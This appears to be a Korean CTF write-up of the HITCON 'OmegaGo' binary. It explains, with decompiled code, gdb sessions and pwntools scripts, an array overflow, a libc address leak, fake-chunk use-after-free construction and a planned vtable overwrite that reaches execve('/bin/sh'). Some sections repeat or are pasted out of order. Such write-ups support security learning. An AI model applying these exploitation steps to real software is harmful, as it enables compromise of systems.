      • regret() 함수가 호출되면 "history = (GameInfo *)::gHistory[historyCnt - 1];" 코드에 의해 "변경된 Heap address"를 기준으로 GameInfo를 출력하게 됩니다.
      • 즉, 해당 취약성을 이용해 Libc address를 출력 할 수 있습니다.
Code Block
titleregret()
signed __int64 __cdecl regret()
{
  GameInfo *history; // rax

  if ( historyCnt <= 1 )
    return 0LL;
  DeletePlayHistory();                          // AI play history
  DeletePlayHistory();                          // Human play history
  if ( ::gHistory[historyCnt - 1] )
  {
    history = (GameInfo *)::gHistory[historyCnt - 1];
    gPlayerGameInfo.board[0] = history->board[0];
    gPlayerGameInfo.board[1] = history->board[1];
    gPlayerGameInfo.board[2] = history->board[2];
    gPlayerGameInfo.board[3] = history->board[3];
    gPlayerGameInfo.board[4] = history->board[4];
    gPlayerGameInfo.board[5] = history->board[5];
    gPlayerGameInfo.board[6] = history->board[6];
    gPlayerGameInfo.board[7] = history->board[7];
    gPlayerGameInfo.board[8] = history->board[8];
    gPlayerGameInfo.board[9] = history->board[9];
    gPlayerGameInfo.board[10] = history->board[10];
    gPlayerGameInfo.board[11] = history->board[11];
    *(_QWORD *)&gPlayerGameInfo.rowNumber = *(_QWORD *)&history->rowNumber;
    gPlayerGameInfo.player = history->player;
    gPlayerGameInfo.playTimeFor[0] = history->playTimeFor[0];
    gPlayerGameInfo.playTimeFor[1] = history->playTimeFor[1];
  }
  return 1LL;
}

DeletePlayHistory

  • 해당 함수는 다음과 같은 기능을 합니다.
    • gHistory[]에 저장된 heap 영역을 해제합니다.
Code Block
titleDeletePlayHistory()
unsigned __int64 DeletePlayHistory()
{
  __int64 v1; // [rsp+0h] [rbp-10h]
  unsigned __int64 v2; // [rsp+8h] [rbp-8h]

  v2 = __readfsqword(0x28u);
  if ( gHistory[historyCnt - 1] )
  {
    v1 = sub_401EB6((GameInfo *)gHistory[historyCnt - 1]);
    operator delete(gHistory[historyCnt - 1]);
    sub_402FE6(&unk_607220, &v1);
    --historyCnt;
  }
  return __readfsqword(0x28u) ^ v2;
}

Debuging

Overflow

  • 다음과 같은 코드를 이용하여 gameInfo 전역 변수의 값을 Overflow할 수 있습니다.
Code Block
languagepy
titleOverflow for gameInfo
from pwn import *

#context.log_level = 'debug'

col_list = ['A','B','C','D','E','F','G','H','I','J','K','L','M','N','O','P','Q','R','S']

p = process('omega_go_6eef19dbb9f98b67af303f18978914d10d8f06ac')

def Play(location):
	p.recvuntil('\n\n')
	p.sendline(location)


def Fill(colStart, colEnd, row):
	for colNum in range(col_list.index(colStart),col_list.index(colEnd)+1):
		locate = str(col_list[colNum])
		locate += str(row)
		Play(locate)


Fill('B','S',11)
for count in reversed(range(1,9)):
    Fill('A','S',count)
Fill('A','A',11)
Fill('A','K',12)

p.interactive()
  • 디버깅 전에 각 전역 변수의 위치를 알아야 합니다.
    • gGameInfo : 0x609FC0
    • gHistory : 0x609460
    • gPlayerGameInfo Address(0x609FC0) - gHistory(0x609460) = 0xb60(2912) / 0x8(address len) = 364
  • 다음은 디버깅을 통해 확인한 내용입니다.
    • gPlayerGameInfo(0x609fc0) 전역 변수에 heap address(0x609fc0)값이 저장된 것을 확인 할 수 있습니다.
Code Block
titleoverflow for gameInfo
lazenca0x0@ubuntu:~/CTF/HITCON/OmegaGo$ gdb -q -p 3491
Attaching to process 3491

gdb-peda$ x/gx 0x609FC0
0x609fc0:	0x0000000000b94da0
gdb-peda$ x/10gx 0x609FC0
0x609fc0:	0x0000000000b94da0	0x0000000000000000
0x609fd0:	0x0000000000000000	0x0000000000000000
0x609fe0:	0xaaaa0000aaaaa800	0x50000100002aaaaa
0x609ff0:	0x5554000155555555	0x0000000000000055
0x60a000:	0x0000000000000000	0x0000000000000000
  • 해당 Overflow를 통해 출력되는 Board의 내용이 변경된 것을 확인 할 수 있습니다.
    • 우리는 해당 정보를 이용하여 heap address를 추출 할 수 있습니다.
Code Block
titleBoard
lazenca0x0@ubuntu:~/CTF/HITCON/OmegaGo$ python test.py 
[!] Cold not find executable 'omega_go_6eef19dbb9f98b67af303f18978914d10d8f06ac' in $PATH, using './omega_go_6eef19dbb9f98b67af303f18978914d10d8f06ac' instead
[+] Starting local process './omega_go_6eef19dbb9f98b67af303f18978914d10d8f06ac': pid 3491
[*] Switching to interactive mode
   ABCDEFGHIJKLMNOPQRS
19 ..XXO\x00.OOX\x00X.......
18 ...................
17 ...................
16 ...................
15 ...................
14 ...................
13 ...................
12 XXXXXXXXXXX........
11 XXXXXXXXXXXXXXXXXXX
10 .........O.........
 9 OOOOOOOOOOOOOOOOOOO
 8 ........OOOOOOOOOOO
 7 ...................
 6 ...................
 5 ...................
 4 ...................
 3 ...................
 2 ...................
 1 ...................
Time remain: O: 180.00, X: 179.84

$  

Decode

  • 화면에 출력된 Address를 해석하기 위해서는 Board에 저장되는 Mark의 값이 어떻게 관리 되는지 확인이 필요합니다.
  • 다음과 같이 유저가 좌표 값을 입력하면 메모리 값은 다음과 같이 변경됩니다.
    • 유저가 입력한 값은 0x609fc0 영역에 0x2가 저장됩니다.

    • 컴퓨터가 입력한 값은 0x60a01A 영역에 0x1가 저장됩니다.

Code Block
titleCoordinates input
lazenca0x0@ubuntu:~/CTF/HITCON/OmegaGo$ gdb -q ./omega*
Reading symbols from ./omega_go_6eef19dbb9f98b67af303f18978914d10d8f06ac...(no debugging symbols found)...done.
gdb-peda$ r
Starting program: /home/lazenca0x0/CTF/HITCON/OmegaGo/omega_go_6eef19dbb9f98b67af303f18978914d10d8f06ac 

...Print board...
Time remain: O: 180.00, X: 180.00

A19

...Print board...
Time remain: O: 180.00, X: 171.04

^C
Program received signal SIGINT, Interrupt.

gdb-peda$ x/12gx 0x609FC0
0x609fc0:	0x0000000000000002	0x0000000000000000
0x609fd0:	0x0000000000000000	0x0000000000000000
0x609fe0:	0x0000000000000000	0x0000010000000000
0x609ff0:	0x0000000000000000	0x0000000000000000
0x60a000:	0x0000000000000000	0x0000000000000000
0x60a010:	0x0000000000000000	0x0000000000010000
gdb-peda$ 
  • 다음과 같이 추가적인 메모리의 변화를 확인합니다.
    • 사용자 입력을 통해 19행을 모두 채우면 메모리에 다음과 같이 저장됩니다.

      • 유저가 입력한 값은 0x2aaaaaaaaa 입니다.

      • 컴퓨터가 입력한 값은 0x01555555555 입니다.

Code Block
titleFill in line 19
   ABCDEFGHIJKLMNOPQRS
19 XXXXXXXXXXXXXXXXXXX
18 ...................
17 ...................
16 ...................
15 ...................
14 ...................
13 ...................
12 ...................
11 ...................
10 .........O.........
 9 ...................
 8 ...................
 7 ...................
 6 ...................
 5 ...................
 4 ...................
 3 ...................
 2 ...................
 1 OOOOOOOOOOOOOOOOOOO
Time remain: O: 180.00, X: 141.02

^C
Program received signal SIGINT, Interrupt.
0x00007ffff75e66b0 in __read_nocancel () at ../sysdeps/unix/syscall-template.S:81
81	../sysdeps/unix/syscall-template.S: No such file or directory.
gdb-peda$  x/12gx 0x609FC0
0x609fc0:	0x0000002aaaaaaaaa	0x0000000000000000
0x609fd0:	0x0000000000000000	0x0000000000000000
0x609fe0:	0x0000000000000000	0x0000010000000000
0x609ff0:	0x0000000000000000	0x0000000000000000
0x60a000:	0x0000000000000000	0x0000000000000000
0x60a010:	0x5555500000000000	0x0000000000015555
gdb-peda$ 
  • Board에 저장되는 값을 다음과 같은 방법으로 관리됩니다.
    • Board영역에 저장되는 값을 bit를 이용해 저장될 값을 결정합니다.
    • 다음과 같은 bit값을 이용해 player를 구분합니다.
      • AI : 10 bit
      • Humman : 01bit
Panel
titleMark

Mark /

Player

X / O

X. / O.

XX / OO

bithexbithexbithex

AI

10

0x2

10000x8

1010

0xA

Humman

01

0x1

01000x4

0101

0x5
  • 이러한 정보를 이용하여 다음과 같은 복호화 도구를 작성할 수 있습니다.
Code Block
languagepy
titleDecode()
def decode(offset):
    bit_offset = offset * 8
    data = ''.join(board)
    result = 0
    for i in xrange(32):
        states = '.OX\0'
        val = states.index(data[bit_offset + i])
        result |= val << (i * 2)
    return result

Structure of Exploit code

  • Payload의 순서는 다음과 같습니다.
Panel
titlePayload 순서
  1. Leak Libc Address
  2. Overwrite the Computer Class
  3. Overwrite the vtable
  • 이를 조금더 자세하게 설명하면 다음과 같습니다.
Panel
title상세 설명
  1. LeakLibcAddress
    1. Overwrites gameInfo data
    2. Heap address change
    3. Deletes the allocated heap memory.
  2. Overwrite the Computer Class
    1. Memory reallocation
    2. Create a UAF vulnerability(Fake chunk)
    3. Heap address change
    4. Deletes the allocated heap memory.
  3. Overwrite the vtable
    1. execve("/bin/sh")
  • payload를 바탕으로 공격을 위해 알아내어야 할 정보는 다음과 같습니다.
Panel
title확인해야 할 정보 목록
  • Leak libc address
  • Fake chunk
  • execve("/bin/sh")
  • 다음과 같은 구조로 shell을 획득합니다.
Panel

vtable

void (__fastcall *Play)void (__fastcall *Play)

AI

Heap address

0x4050400x40290A
AIHeap address(UAF)gCmd(0x60943C) 전역 변수User input(Call One gadget)

Information for attack

Leak Libc address

  • 다음과 같이 "regret"기능을 이용해 Heap 영역에 "main_arena.top" 영역의 주소를 저장 할 수 있습니다.
    • 사용자가 위치 값을 입력하면 GameInfo(0x80)를 생성해서 gHistory[]에 저장합니다.
      • AI GameInfo : 0x61d220
      • HUMAN GameInfo : 0x61d160
    • AI,HUMAN GameInfo 사이에 크기가 0x20인 Heap 영역이 할당되어 있습니다.
      • Heap address : 0x61d1f0
Code Block
titlegHistory[] info
lazenca0x0@ubuntu:~/CTF/HITCON/OmegaGo$ gdb -q ./omega*
Reading symbols from ./omega_go_6eef19dbb9f98b67af303f18978914d10d8f06ac...(no debugging symbols found)...done.
gdb-peda$ r
Starting program: /home/lazenca0x0/CTF/HITCON/OmegaGo/omega_go_6eef19dbb9f98b67af303f18978914d10d8f06ac 
   ABCDEFGHIJKLMNOPQRS

...Print board...

Time remain: O: 180.00, X: 180.00
A19
   ABCDEFGHIJKLMNOPQRS

...Print board...

Time remain: O: 180.00, X: 176.49

^C
Program received signal SIGINT, Interrupt.
gdb-peda$ x/4gx 0x609460
0x609460:	0x000000000061cc90	0x000000000061d160
0x609470:	0x000000000061d220	0x0000000000000000
gdb-peda$ x/4gx 0x000000000061d160 - 0x10
0x61d150:	0xb3c74b70123a5ec4	0x0000000000000091
0x61d160:	0x0000000000000002	0x0000000000000000
gdb-peda$ x/4gx 0x000000000061d220 - 0x10
0x61d210:	0x91f146e6557b6e4a	0x0000000000000091
0x61d220:	0x0000000000000002	0x0000000000000000
gdb-peda$ x/4gx 0x61d1e0
0x61d1e0:	0xf90d94745f8a1984	0x0000000000000031
0x61d1f0:	0xeeda74e900000001	0x0000000000607228
gdb-peda$ 
  • "regret" 기능을 호출하게되면 gHistory[]의 맨 마지막에 저장된 2개의 GameInfo를 삭제합니다.
    • 분석을 위해 "0x4015CE" 영역에 Break point를 설정합니다.
    • AI GameInfo(0x61d220) 영역이 해제되면 해당 영역이 Top chunk가 됩니다.

      • 0x61d210 영역이 main_arena의 top 영역에 저장됩니다.
    • HUMAN GameInfo(0x61d160) 영역이 해제되면 해당 영역은 Unsorted chunk가 됩니다.
      • 0x61d150 영역이 main_arena.bin[0], [1] 영역에 저장됩니다.
      • Unsorted chunk(0x61d150)의 fd, bk 영역에 main_arena.top의 주소 값이 저장됩니다.
Code Block
titleCreate libc address
gdb-peda$ b *0x4015CE
Breakpoint 1 at 0x4015ce
gdb-peda$ c
Continuing.
regret
Breakpoint 1, 0x00000000004015ce in ?? ()
gdb-peda$ i r rdi
rdi            0x61d220	0x61d220
gdb-peda$ p main_arena.top
$1 = (mchunkptr) 0x61d210
gdb-peda$ c
Continuing.

Breakpoint 1, 0x00000000004015ce in ?? ()
gdb-peda$ i r rdi
rdi            0x61d160	0x61d160
gdb-peda$ ni
gdb-peda$ p main_arena.bins[0]
$2 = (mchunkptr) 0x61d150
gdb-peda$ p main_arena.bins[1]
$3 = (mchunkptr) 0x61d150
gdb-peda$ 
gdb-peda$ x/4gx 0x61d150
0x61d150:	0xb3c74b70123a5ec4	0x0000000000000091
0x61d160:	0x00007ffff7839b78	0x00007ffff7839b78
gdb-peda$ 
  •  gPlayerGameInfo에 저장된 값(Heap address)을 변경하기 전에 중요한 부분이 있습니다.
    • 그것은 바로 gPlayerGameInfo에 저장된 값(Heap address) 입니다.
      • 해당 프로그램은 2bit를 이용해 HUMAN,AI의 표시를 구분합니다.
    • 다음으로 중요한 것은 사용자 입력값에 의해 2bit 모두 1이 될 수 없습니다.
    • 즉, 사용자 입력 값으로 gPlayerGameInfo에 저장된 값을 변경하는데 제약이 있다는 것입니다.
  • 다음은 gPlayerGameInfo 전역변수에 0x61cc90 값이 저장되어 있을 경우 입니다.
    • 해당 주소를 bit로 변경하면 "0110 0001 1100 1100 1001 0000"이 됩니다.
    • 여기서 사용자가 값을 입력 할 수 있는 부분은 다음과 같습니다.
      • bit의 값이 "00"인 부분만 값을 저장 할 수 있습니다.
      • "0110 0001 1100 1100 1001 0000"
    • gPlayerGameInfo 전역변수에 저장되는 주소 값을 변경하기 위해서 surrender() 함수를 호출하는 것으로 해결 할 수 있습니다.
      • surrender() 함수를 호출하면 게임이 재설정됩니다.
      • 재설정이 이전에 사용하던 AI, HUMAN Class 의 vtable 영역은 해제가 되지 않기 때문에 gPlayerGameInfo 전역변수에 저장되는 Heap 주소가 변경됩니다.
  • 다음과 같은 방법으로 gPlayerGameInfo에 저장된 값(Heap address)을 변경할 수 있습니다.
    • Script를 이용해 gHistory[]영역에 GameInfo를 365개를 저장합니다.
      • 이로 인해 gPlayerGameInfo의 board[0] 영역에 Heap 영역이 저장됩니다.
        • gPlayerGameInfo(0x609fc0) : 0x1c88e30
      • gPlayerGameInfo 영역에 저장된 Heap 주소 값은 사용자 입력 값으로 변경 할 수 있습니다.
    • 사용자 입력 값으로 "D19"를 입력합니다.
      • 해당 값으로 인해 gPlayerGameInfo에 저장된 Heap 주소가 "0x1c88e30" 에서 "0x1c88eb0"으로 변경되었습니다.
        • "0x1c88e30" + "0x80" = 0x1c88eb0
Code Block
titleChange the Heap address.
lazenca0x0@ubuntu:~$ gdb -p 4425
gdb-peda$ x/4gx 0x609FC0
0x609fc0:	0x0000000001c88e30	0x0000000000000000
0x609fd0:	0x0000000000000000	0x0000000000000000
gdb-peda$ b *0x4015CE
Breakpoint 1 at 0x4015ce
gdb-peda$ c
Continuing.

Input "D19"

gdb-peda$ x/4gx 0x609FC0
0x609fc0:	0x0000000001c88eb0	0x0000000001c88ef0
0x609fd0:	0x0000000001c88fb0	0x0000000000000000

gdb-peda$ p/x 0x1c88e30 + 0x80
$1 = 0x1c88eb0
gdb-peda$ 
  • 다음과 같은 방법으로 Unsorted chunk의 fd, bk영역에 저장된 main_arena.top의 주소 값 출력 할 수있습니다.
    • "regret" 기능을 호출하면 gHistory[] 배열의 마지막에 저장된 2개의 Heap 영역이 해제됩니다.
      • 앞에서 설명했듯이 HUMAN GameInfo(0x1c88ef0) 영역이 Unsorted chunk됩니다.
      • Unsorted chunk(0x1c88ee0)의 fd, bk 영역에 main_arena.top의 주소 값이 저장됩니다.
        • fd(0x1c88ef0) : 0x7f4b7d233b78
        • bk(0x1c88ef8) : 0x7f4b7d233b78
    • regret() 함수는 gHistory[365]에 저장된 주소(0x1c88eb0)를 이용해 GameInfo를 gPlayerGameInfo 전역 변수에 저장합니다.
      • 즉, Unsorted chunk(0x1c88ee0)의 fd, bk 영역이 출력됩니다.
      • 해당 값을 앞에서 작성한 Decode() 함수를 이용해 해석 할 수 있습니다.
Code Block
titleLeak libc address
gdb-peda$ c
Continuing.
Breakpoint 1, 0x00000000004015ce in ?? ()
gdb-peda$ c
Continuing.


Breakpoint 1, 0x00000000004015ce in ?? ()
gdb-peda$ ni
gdb-peda$ x/4gx 0x1c88ef0 - 0x10
0x1c88ee0:	0x33bb5de964b6f848	0x0000000000000091
0x1c88ef0:	0x00007f4b7d233b78	0x00007f4b7d233b78
gdb-peda$ p/x 0x1c88ef0 - 0x1c88eb0
$2 = 0x40
gdb-peda$ c
Continuing.
^C
Program received signal SIGINT, Interrupt.
0x00007f4b7cf66230 in __read_nocancel () at ../sysdeps/unix/syscall-template.S:84
84	in ../sysdeps/unix/syscall-template.S
gdb-peda$ x/12gx 0x609FC0
0x609fc0:	0x0000000000000000	0x0000000000000031
0x609fd0:	0x0000000001c88f70	0x0000000001c83880
0x609fe0:	0x0000000000000000	0x0000000000000000
0x609ff0:	0x33bb5de964b6f848	0x0000000000000091
0x60a000:	0x00007f4b7d233b78	0x00007f4b7d233b78
0x60a010:	0x0000000000000000	0x0000000000000000
gdb-peda$ 
  • 다음 코드를 이용할 수 있습니다.
Code Block
languagepy
titleLeak libc address
from pwn import *
 
#context.log_level = 'debug'
 
col_list = ['A','B','C','D','E','F','G','H','I','J','K','L','M','N','O','P','Q','R','S']
 
p = process('omega_go_6eef19dbb9f98b67af303f18978914d10d8f06ac')

def Play(location):
    p.recvuntil('\n\n')
    p.sendline(location)
 
 
def readBoard():
    global board
    board = []
    p.recvline()
    for line in range(0,19):
    	p.recv(3)
        board.append(p.recvuntil('\n')[0:19])
 
def surrender():
    p.recvuntil('\n\n')
    p.sendline('surrender')
    p.recvuntil('Play history? (y/n)')
    p.sendline('n')
    p.recvuntil('Play again? (y/n)')
    p.sendline('y')
 
def Fill(colStart, colEnd, row):
    for colNum in range(col_list.index(colStart),col_list.index(colEnd)+1):
    	locate = str(col_list[colNum])
        locate += str(row)
        Play(locate)
 
def decode(offset):
    bit_offset = offset * 8
    data = ''.join(board)
    result = 0
    for i in xrange(32):
        states = '.OX\0'
        val = states.index(data[bit_offset + i])
        result |= val << (i * 2)
    return result
 
def LeakAddress():
    readBoard()
    return decode(0)
 
def LeakLibcAddress():
    readBoard()
    return decode(32)
  
#Memory reconstruction   
surrender()
 
#Fill out to board
Fill('B','S',11)
for count in reversed(range(1,9)):
    Fill('A','S',count)
Fill('A','A',11)
Fill('A','K',12)

#Leak LibcAddress
p.recvuntil('\n\n')
p.sendline('D19')
p.recvuntil('\n\n')
p.sendline('regret')

libcAddress = LeakLibcAddress()
libcBaseAddress = libcAddress - 0x3c4b78
execve_bash = libcBaseAddress + 0xF1117 

log.info('Libc Address : ' + hex(libcAddress))
log.info('Libc Base Address : ' + hex(libcBaseAddress))
log.info('execve bash Address : ' + hex(execve_bash))


p.interactive()

Create a UAF vulnerability(Fake chunk)

  • 앞에서 설명한 취약성을 이용해 UAF 취약성을 만들 수 있습니다.
    • 공격 대상은 AI Class의 vtable 입니다.
    • OmegaGo() 함수에서 AI Class의 vtable 공간으로 8 byte를 요청하고 있습니다.
      • 해당 Chunk의 크기는 0x20이 됩니다.
      • Chunk header(0x10) + Base heap area(0x10)
    • 즉, UAF취약성을 생성하기 위해서 0x20 byte의 fake chunk가 필요합니다.
Code Block
languagecpp
titleomegaGo
...
  AI = (Method *)operator new(8uLL);
  AI->Play = 0LL;
  setAIFunction(AI);
  player[0] = AI;
  HUMAN = (Method *)operator new(8uLL);
  HUMAN->Play = 0LL;
  setHUMANFunction(HUMAN);
...
  • 다음과 같은 구조로 Fake chunk를 생성할 수 있습니다.
    • 해당 바이너리의 취약성을 이용해 아래 조건을 만족하는 Fake chunk address를 gHistory[365]영역에 저장합니다.
      • Fake chunk의 size가 0x20
      • Fake chunk의 next chunk(next_size) 영역에 값이 있어야 함.
Panel
titleFake chunk struct

0x00x8
0x0000000000000000000000000000000000
0x1000000000000000000000000000000020
0x2000000000000000000000010000000000
0x3000000000000000000000000000000020
0x4000000000000000000000000000000000
0x500000000000000000next_size
0x600000000900000009000000000000004F
0x7040665799D0203E644066800000000000
0x8000000000000000000000000000000031
  • 아래 스크립트를 이용해 Fake chunk의 기본 모형을 만들수 있습니다.
Code Block
languagepy
titleCreate a Fake chunk
...

#Memory reconstruction
surrender()
surrender()
surrender()
surrender()
surrender()
surrender()
 
#Fill out to board
Fill('B','S',11)
for count in reversed(range(1,9)):
    Fill('A','S',count)
Fill('A','A',11)

#Fake Chunk
Play('D14')
Play('R8')

Fill('A','I',10)

p.interactive()
  • 다음과 같이 Fake chunk를 확인 할 수 있습니다.
    • 182번 위치 값을 입력해 gPlayerGameInfo 전역 변수에 Heap address(0xac6010)가 저장되었습니다.
    • Heap 영역에 Fakechunk가 구현 되어있습니다.
Code Block
titleRun script
lazenca0x0@ubuntu:~/CTF/HITCON/OmegaGo$ python test.py 
[!] Could not find executable 'omega_go_6eef19dbb9f98b67af303f18978914d10d8f06ac' in $PATH, using './omega_go_6eef19dbb9f98b67af303f18978914d10d8f06ac' instead
[+] Starting local process './omega_go_6eef19dbb9f98b67af303f18978914d10d8f06ac': pid 7625
[*] Libc Address : 0x7ff0339f6b78
[*] Libc Base Address : 0x7ff033632000
[*] execve bash Address : 0x7ff0337186bd
[*] Switching to interactive mode
   ABCDEFGHIJKLMNOPQRS
19 ..O...XO.\x00XX.......
18 ...................
17 ...................
16 ...................
15 ...................
14 ...X...............
13 ...................
12 .O.................
11 XXXXXXXXXXXXXXXXXXX
10 XXXXXXXXXOOOOOOOOOO
 9 OOOOOOOOOOOOOOOOOOO
 8 .................X.
 7 ...................
 6 ...............O...
 5 ...................
 4 ...................
 3 ...................
 2 ...................
 1 ...................
Time remain: O: 180.00, X: 179.85

$ 
Code Block
titleFake chunk
lazenca0x0@ubuntu:~/CTF/HITCON/OmegaGo$ gdb -q -p 7625
Attaching to process 7625
Reading symbols from /home/lazenca0x0/CTF/HITCON/OmegaGo/omega_go_6eef19dbb9f98b67af303f18978914d10d8f06ac...(no debugging symbols found)...done.
Reading symbols from /usr/lib/x86_64-linux-gnu/libstdc++.so.6...(no debugging symbols found)...done.
Reading symbols from /lib/x86_64-linux-gnu/libgcc_s.so.1

...

Mark /

Player

...

X

...

X.

...

XX

...

Computer

...

10

...

0x2

...

1010

...

Humman

...

01

...

0x1

...

0101

...

  • 이러한 정보를 이용하여 다음과 같은 복호화 도구를 작성할 수 있습니다.
Code Block
languagepy
titleDecode()
def decode(offset):
    bit_offset = offset * 8
    data = ''.join(board)
    result = 0
    for i in xrange(32):
        states = '.OX\0'
        val = states.index(data[bit_offset + i])
        result |= val << (i * 2)
    return result

공격방식 설정

  • Payload의 순서는 다음과 같습니다.
Panel
titlePayload 순서
  1. Leak Libc Address
  2. Overwrite the Computer Class
  3. Overwrite the vtable
  • 이를 조금더 자세하게 설명하면 다음과 같습니다.
Panel
title상세 설명
  1. LeakLibcAddress
    1. Overwrites gameInfo data
    2. Heap address change
    3. Deletes the allocated heap memory.
  2. Overwrite the Computer Class
    1. Memory reallocation
    2. Fake chunk
    3. Heap address change
    4. Deletes the allocated heap memory.
  3. Overwrite the vtable
    1. execve("/bin/sh")
  • payload를 바탕으로 공격을 위해 알아내어야 할 정보는 다음과 같습니다.
Panel
title확인해야 할 정보 목록
  • Leak libc address
  • Fake chunk
  • execve("/bin/sh")

공격에 필요한 정보 수집

surrender

  • 정보 수집을 진행하기 전에 알아야 할 정보가 있습니다.
  • 그것은 바로 surrender 명령어 호출시 할당되는 Heap 영역의 변화입니다.
    • surrender명령어를 입력하고 게임을 다시 시작하면, MainFunction()함수를 다시 호출합니다.
    • 여기서 중요한 부분은 DefaultSet() 함수 입니다.
  • DefaultSet()는 다음과 같은 기능을 합니다.
    • History[] 배열에 저장된 내용을 삭제 합니다.
    • sub_40210A()함수를 호출해 gameInfo 의 데이터도 초기화 합니다.
Code Block
languagecpp
titleDefaultSet()
__int64 DefaultSet()
{
  signed int row; // [rsp+0h] [rbp-20h]@1
  signed int col; // [rsp+4h] [rbp-1Ch]@2
  signed int playerCnt; // [rsp+8h] [rbp-18h]@3
  int i; // [rsp+Ch] [rbp-14h]@12
  FILE *stream; // [rsp+10h] [rbp-10h]@1
  __int64 v6; // [rsp+18h] [rbp-8h]@1

  v6 = *MK_FP(__FS__, 40LL);
  stream = fopen("/dev/urandom", "rb");
  for ( row = 0; row <= 18; ++row )
  {
    for ( col = 0; col <= 18; ++col )
    {
      for ( playerCnt = 0; playerCnt <= 2; ++playerCnt )
      {
        if ( fread(&qword_607260[playerCnt + 3LL * col + 57LL * row], 1uLL, 8uLL, stream) != 8 )
          print("WT..");
      }
    }
  }
  fclose(stream);
  for ( i = 0; i < historyCount; ++i )
  {
    operator delete(history[i]);
    history[i] = 0LL;
  }
  sub_402FA8((__int64)&unk_607220);
  historyCount = 0;
  sub_40210A((__int64)&gameInfo);
  return *MK_FP(__FS__, 40LL) ^ v6;
}
  • 여기서 중요한 것은 vtable(Computer, Humman)에 대한 해제가 없다는 것입니다.
    • "Surrender"명령어를 실행할 때 마다 Computer, Human에서 사용하는 vtable 영역(0x40byte)이 매번 생성됩니다.
    • 이로 인해 gameInfo 내용을 저장할 Heap 주소의 위치가 변경됩니다.
  • 다음은 디버깅을 통해 확인한 메모리의 변화 입니다.
    • 첫 플레이 정보를 저장하기 위한 Heap 영역의 주소는 0x60b080 입니다.
    • surrender 명령 실행 후 첫 플레이 정보를 저장 주소는 0x60b0c0 입니다.

    • 다시 surrender 명령 실행 후 첫 플레이 정보를 저장 주소는 0x60b100 입니다.
      • 각 0x40byte 차이가 납니다.
    • 처음에 할당 받은 메모리 영역에는 vtable 정보를 저장하기 위한 heap 영역이 할당되어 있습니다.
Code Block
title메모리의 변화
autolycos@ubuntu:~/CTF/HITCON/OmegaGo$ gdb -q ./omega*
Reading symbols from ./omega_go_6eef19dbb9f98b67af303f18978914d10d8f06ac...(no debugging symbols found)...done.
(gdb)Reading b *0x04027C3
Breakpoint 1 at 0x4027c3
(gdb) r
Starting program: /home/autolycos/CTF/HITCON/OmegaGo/omega_go_6eef19dbb9f98b67af303f18978914d10d8f06ac 

Breakpoint 1, 0x00000000004027c3 in ?? ()
(gdb) x/i $rip
=> 0x4027c3:	callq  0x400f70 <_Znwm@plt>
(gdb) ni
0x00000000004027c8 in ?? ()
(gdb) i r rax
rax            0x60b080	6336640
(gdb) c
Continuing.


...
surrender
...
Play again? (y/n)
y

Breakpoint 1, 0x00000000004027c3 in ?? ()
(gdb) ni
0x00000000004027c8 in ?? ()
(gdb) i r rax
rax            0x60b0c0	6336704
(gdb) c
Continuing.


...
surrender
...
Play again? (y/n)
y

Breakpoint 1, 0x00000000004027c3 in ?? ()
(gdb) ni
0x00000000004027c8 in ?? ()
(gdb) i r rax
rax            0x60b100	6336768
(gdb) x/18gx 0x60b080
0x60b080:	0x0000000000405040	0x0000000000000000
0x60b090:	0x0000000000000000	0x0000000000000021
0x60b0a0:	0x0000000000405020	0x0000010000000000
0x60b0b0:	0x0000000000000000	0x0000000000000021
0x60b0c0:	0x0000000000405040	0x0000000000000000
0x60b0d0:	0x0000000000000000	0x0000000000000021
0x60b0e0:	0x0000000000405020	0x0000010000000000
0x60b0f0:	0x0000000000000000	0x0000000000000091
0x60b100:	0x0000000000000000	0x0000000000000000
(gdb) 

Leak Llibc address

  • 공격자는 gameInfo 전역 변수를 덮어쓸수 있으며, gameInfo에 값을 입력할 수 있습니다.
    • 이를 이용하여 해당 프로그램에서 shell을 획득할 수 있습니다.
  • 다음과 같은 방법으로 Libc address를 메모리에 저장할 수 있습니다.
    • "regret" 명령어를 입력합니다.

    • DeletePlayHistory()함수에서는 History[] 배열 끝에 저장된 2개의 Heap주소를 할당 해제 하게됩니다.
    • 이로 인해 해제된 메모리 영역에 Heap 영역에 Libc address를 저장할 수 있습니다.
  • 다음은 디버깅을 통해 확인한 내용입니다.
    • history[] 배열 마지막에 저장된 heap address 2개는 0x0201a180, 0x0201a0c0 입니다.
    • 0x0201a0c0이 마지막으로 할당 해제 됩니다.
    • 0x0201a0c0에는 GameInfo 구조체의 값을 저장하고 있습니다.
    • "regret" 명령어 실행 후에는 0x1ca40c0 영역에 Libc address(0x00007fd2579d47b8)가 저장됩니다.
  • 사실 0x00007fd2579d47b8는 Libc address가 아닙니다.
    • 해당 프로세스의 메모리 맵을 보면 "/lib/x86_64-linux-gnu/libc-2.19.so"가 사용하는 메모리 뒷부분입니다.
    • 하지만 이 값을 이용하여 Libc address base의 offset을 구할 수 있습니다.
      • 0x7fd2579d47b8 - 0x7fd257616000 = 0x3be7b8

symbols from /lib/x86_64-linux-gnu/libc.so.6...Reading symbols from /usr/lib/debug//lib/x86_64-linux-gnu/libc-2.23.so...done.
done.
Reading symbols from /lib/x86_64-linux-gnu/libm.so.6...Reading symbols from /usr/lib/debug//lib/x86_64-linux-gnu/libm-2.23.so...done.
done.
Reading symbols from /lib64/ld-linux-x86-64.so.2...Reading symbols from /usr/lib/debug//lib/x86_64-linux-gnu/ld-2.23.so...done.
done.
0x00007f25b8a7d230 in __read_nocancel () at ../sysdeps/unix/syscall-template.S:84
84	../sysdeps/unix/syscall-template.S: No such file or directory.

gdb-peda$ x/4gx 0x609FC0
0x609fc0:	0x0000000000ac6010	0x0000000000000000
0x609fd0:	0x0000000000000000	0x0000000000000020
gdb-peda$ x/20gx 0x0000000000ac6010
0xac6010:	0x0000000000000000	0x0000000000000000
0xac6020:	0x0000000000000000	0x0000000000000020
0xac6030:	0xaaaa000000001000	0x555555aaaaaaaaaa
0xac6040:	0x0000000155555555	0x0000000000000020
0xac6050:	0x0000000000001000	0x0000000000000000
0xac6060:	0x0000000000000000	0x0000000000000000
0xac6070:	0x0000000a00000009	0x500001000000004f
0xac6080:	0x40667febca5375c7	0x40667b29ac365450
0xac6090:	0x0000000000000000	0x000000000000df71
0xac60a0:	0x0000000000000000	0x0000000000000000
gdb-peda$ c
Continuing.
  • 다음과 같이 gPlayerGameInfo 전역 변수에 저장된 Heap address(0xac6010)를 변경되었습니다.

    • 위치 값으로 변경 가능한 Heap address의 bit 영역은 다음과 같습니다. 

      • 1010 1100 0110 0000 0001 0000

